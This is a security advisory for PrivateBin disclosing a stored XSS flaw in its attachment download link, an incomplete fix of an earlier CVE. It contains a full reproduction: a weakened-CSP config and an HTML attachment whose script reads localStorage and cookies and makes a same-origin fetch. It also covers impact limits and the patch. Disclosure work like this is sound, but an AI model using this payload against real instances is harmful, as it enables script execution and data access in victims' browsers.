PrivateBin has stored Cross-Side-Scripting (XSS) vulnerability in attachment download link via dangerous MIME types with required user-interaction

### Summary Stored cross-site scripting (XSS) in PrivateBin's attachment download link. An anonymous attacker can create a paste with a **text/html** attachment that, with certain user interaction, bypasses protections similar to CVE-2022-24833. When a victim opens the "Download attachment" link in a new tab, the attacker's inline JavaScript executes in the PrivateBin instance's origin with full same-origin capability (cookie/localStorage access, same-origin fetch). This is an incomplete fix of [CVE-2022-24833](https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-cqcc-mm6x-vmvw). The original fix only applies to the inline preview blob (in case of SVG), never to the download link's blob. Thus a **text/html** (or **image/svg**) attachment completely bypasses sanitization, re-enabling the exact attack class on instances that don't enforce the recommended Content-Security-Policy, but with a slightly different attack process. Instances using the default recommended CSP are protected (the blob inherits **script-src 'self'**, blocking inline scripts). The vulnerability affects instances where CSP is weakened, stripped, or absent, which is exactly the defense-in-depth scenario the CVE-2022-24833 fix was meant to cover. Requires **fileupload = true** (non-default) and a non-recommended CSP configuration. ### Details In **js/privatebin.js**, the function **AttachmentViewer.setAttachment** (line 2982) processes decrypted attachment data. Since PrivateBin uses zero-knowledge encryption, the entire decrypted message (including attachment content and MIME type) is attacker-controlled and can't be inspected or sanitized by the server. **Root cause 1: MIME-gated sanitization (line 3017)** DOMPurify sanitization only triggers when the MIME type matches **/^image\/.\*svg/i**. Any other active content type (such as **text/html**, **application/xhtml+xml**, **text/xml**) completely bypasses sanitization. ```js // js/privatebin.js:3017-3023 if (mimeType.match(/^image\/.*svg/i)) { // only SVG is considered const sanitizedData = DOMPurify.sanitize( decodedData, purifySvgConfig ); blobUrl = getBlobUrl(sanitizedData, mimeType); // reassigns LOCAL variable only } ``` **Root cause 2: download link always points to unsanitized blob (line 3002)** The "Download attachment" link's **href** is set to the unsanitized blob URL at line 3002, before the SVG sanitization branch. The SVG branch (line 3022) only reassigns a local variable **blobUrl** that's consumed by the preview at line 3028. It never updates the download link. So even for SVG attachments, the download link carries unsanitized content. ```js // js/privatebin.js:3001-3002 let blobUrl = getBlobUrl(decodedData, mimeType); // unsanitized blob attachmentLink.attr('href', blobUrl); // download link set HERE (never updated) ``` **Root cause 3: MIME type is fully attacker-controlled** The MIME type is extracted from the decrypted data URI at line 3211-3217 via **getAttachmentMimeType**, which simply reads the substring between **data:** and **;** in the data URI. Since this value comes from the decrypted (attacker-created) payload, the attacker chooses whatever MIME type they want. The browser then creates a **Blob** with that exact **Content-Type** at line 2963-2967 via **getBlobUrl**. **Attack flow:** 1. Attacker creates a paste with an attached **.html** file. The client encodes it as **data:text/html;base64,...** and encrypts it. 2. Victim opens the paste URL. **decryptPaste** (line 5387-5397) decrypts the message and calls **setAttachment** with the attacker's data URI. 3. **setAttachment** creates a same-origin **blob:http://instance/...** with **Content-Type: text/html** containing the attacker's HTML+script. This blob is assigned to the "Download attachment" link's **href** without any sanitization. 4. Victim opens that link in a new tab (right-click, middle-click, or social-engineered left-click). The browser renders the blob as a full HTML document in the instance's origin, executing the attacker's inline JavaScript. **Relation to CVE-2022-24833:** The [2022 advisory](https://privatebin.info/reports/vulnerability-2022-04-09.html) claimed: *"whether you open the SVG in a new tab or not and whether CSP is present and enabled or not does not matter any more, as the displayed SVG is sanitized."* This doesn't hold because: - The download link's blob is never sanitized (only the preview blob is). - The advisory's safety argument for the download link ("opens from file:// protocol") assumes the file is downloaded to disk. Opening the link in a new tab navigates to a same-origin **blob:** URL instead. ### Proof of concept **Environment:** - PrivateBin commit **597a6f0d** (version 2.0.4+) - PHP 8.x with built-in server - Chromium-based browser (tested in Playwright/Chromium) **Step 1: Set up a vulnerable instance** ```bash git clone https://github.com/PrivateBin/PrivateBin.git cd PrivateBin git checkout 597a6f0d mkdir -p data ``` Create **cfg/conf.php** with file upload enabled and a weakened CSP (simulating an instance where the recommended CSP isn't enforced, as documented in the original CVE-2022-24833 advisory). For example, here is a basic config: ```ini [main] fileupload = true cspheader = "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:; img-src * data: blob:; media-src * blob:; object-src * blob:" httpwarning = false [expire] default = "1week" [expire_options] 5min = 300 10min = 600 1hour = 3600 1day = 86400 1week = 604800 1month = 2592000 1year = 31536000 never = 0 [formatter_options] plaintext = "Plain Text" syntaxhighlighting = "Source Code" markdown = "Markdown" [traffic] limit = 0 [purge] limit = 300 batchsize = 10 [model] class = "Filesystem" [model_options] dir = "data" ``` Start the server: ```bash php -S 127.0.0.1:8099 ``` **Step 2: Prepare the payload file** Save as **xss-attachment.html**: ```html <!DOCTYPE html> <html> <head><title>benign</title></head> <body> <h1>just a harmless document</h1> <script> document.title = 'XSS:' + document.domain; document.body.style.background = '#c00'; document.body.style.color = '#fff'; document.body.innerHTML = '<h1>XSS EXECUTED<br>origin = ' + location.origin + '<br>protocol = ' + location.protocol + '<br>cookies = ' + JSON.stringify(document.cookie) + '<br>localStorage = ' + JSON.stringify(localStorage) + '</h1>'; // prove same-origin capability fetch(location.origin + '/?jsonld=paste', { credentials: 'include' }) .then(r => r.text()) .then(t => document.body.innerHTML += '<pre>same-origin fetch returned ' + t.length + ' bytes</pre>'); </script> </body> </html> ``` <img width="2217" height="888" alt="grafik" src="https://github.com/user-attachments/assets/bf918b75-a977-4df5-8d3f-6e2ffe238c85" /> Optionally set some cookies and/or localstorage data in your browser console. (PrivateBin likely already has set at least a `lang` cookie.) **Step 3: Attacker creates the paste** 1. Browse to **http://127.0.0.1:8099/** 2. Type any text in the document area (e.g., "Quarterly report attached. Open the Download attachment link to view it.") 3. Click **Attach a file** and select **xss-attachment.html**. The browser detects the file type as **text/html**, so the client produces **attachment = ["data:text/html;base64,..."]**. 4. Click **Create**. Copy the resulting paste URL. **Step 4: Victim opens the paste** 1. Open the paste URL in a browser. The paste decrypts and renders: "Download attachment (xss-attachment.html, ...)" with a **blob:** link. 2. Right-click the "Download attachment" link and select **Open in new tab** (or middle-click). **Step 5: Observe XSS execution** The new tab opens at **blob:http://127.0.0.1:8099/...** with: - Page title: **XSS:127.0.0.1** (set by attacker script) - Red background with `XSS EXECUTED, origin = http://127.0.0.1:8099, cookies = "", localstorage = ...` - A same-origin fetch to the backend that returns real data (proving full origin access) <img width="2208" height="856" alt="grafik" src="https://github.com/user-attachments/assets/b13678ac-6fba-4cb9-a7b5-ad2f9a12adc0" /> **Negative control (default CSP):** Change **cspheader** in **cfg/conf.php** back to the recommended default: ```ini cspheader = "default-src 'none'; base-uri 'self'; form-action 'none'; manifest-src 'self'; connect-src * blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self'; font-src 'self'; frame-ancestors 'none'; frame-src blob:; img-src 'self' data: blob:; media-src blob:; object-src blob:; sandbox allow-same-origin allow-scripts allow-forms allow-modals allow-downloads" ``` Restart the server and open the same paste. The blob navigation now inherits **script-src 'self'** from the page CSP, blocking inline script execution. The browser console shows: *"Executing inline script violates the following Content Security Policy directive 'script-src 'self' 'wasm-unsafe-eval''"*. The page title stays "benign" (script didn't run). ### Impact **Who is impacted:** Self-hosted PrivateBin instances that have **both**: 1. File upload enabled (**fileupload = true**, default is **false**) 2. A Content-Security-Policy that doesn't restrict inline scripts (the recommended CSP is weakened, stripped by a reverse proxy/CDN, or absent) The [CVE-2022-24833 advisory](https://privatebin.info/reports/vulnerability-2022-04-09.html) documented that such instances exist in the wild. Instances using PrivateBin's default recommended CSP are **not affected**. **What can an attacker do:** - Execute arbitrary JavaScript in the PrivateBin instance's web origin. - Read **localStorage** and potentially other locally stored data (IndexDB, etc.) for that origin. - Issue authenticated same-origin HTTP requests to the PrivateBin backend (which usually does not have any impact, as PrivateBin does not use traditional authentication methods) or any co-hosted application on the same domain. **What an attacker _cannot_ do:** - Exploit instances with the default recommended CSP (inline scripts are blocked in the blob). - Exploit instances that don't have file upload enabled. - Execute without victim interaction (the victim must open the attachment link in a new tab). - Cookie access could _not_ be confirmed (see screenshot above), as these seem to be [separated differently](https://developer.mozilla.org/en-US/docs/Web/Security/Defenses/Same-origin_policy#cross-origin_data_storage_access). - Access to the opener via **window.opener.document** (same origin) could not be confirmed. (The link is just not opened via `window.open` or similar) That said, PrivateBin currently only stores user preferences (language, template, theme) in cookies or similar, so no authentication tokens or session data. Thus, similar to CVE-2022-24833, the practical risk exists for instances co-hosted with other applications. ## Patches To fix the problem, we took the following measures: * Except for a list of safe common mime types used for media (video/audio/PDF etc.) we overwrite the mime-type with `application/octet-stream` for the download link. This causes the browser to always download the file – even if the user triggered a „Open in new tab“ action – with the exception of the mentioned mime-types. This ensures HTML or any other potentially malicious file types (SVG, XML etc.) are never rendered, mitigating any XSS attacks. ## Timeline * 2026-06-11 – Received report via GitHub Security Advisory by the reporter. * 2026-06-11 – Report gets reviewed and discussed with the initial reporter. * 2026-06-13 – Vulnerability gets reproduced and patch is being developed. * 2026-06-14 – Patch gets reviewed. * 2026-06-1X – Patch gets merged * 2026-06-1X – New PrivateBin release is published. * 2026-06-XX – Vulnerability details published. ## Credits This vulnerability was reported by Rizky Muhammad, @EvidentObscurity, which we'd like to thank for that. In general, we'd like to thank everyone reporting issues and potential vulnerabilities to us. If you think you have found a vulnerability or potential security risk, [we'd kindly ask you to follow our security policy](https://github.com/PrivateBin/PrivateBin/blob/master/SECURITY.md) and report it to us. We then assess the report and will take the actions we deem necessary to address it.

Quoted source text, attributed separately from HOL analysis.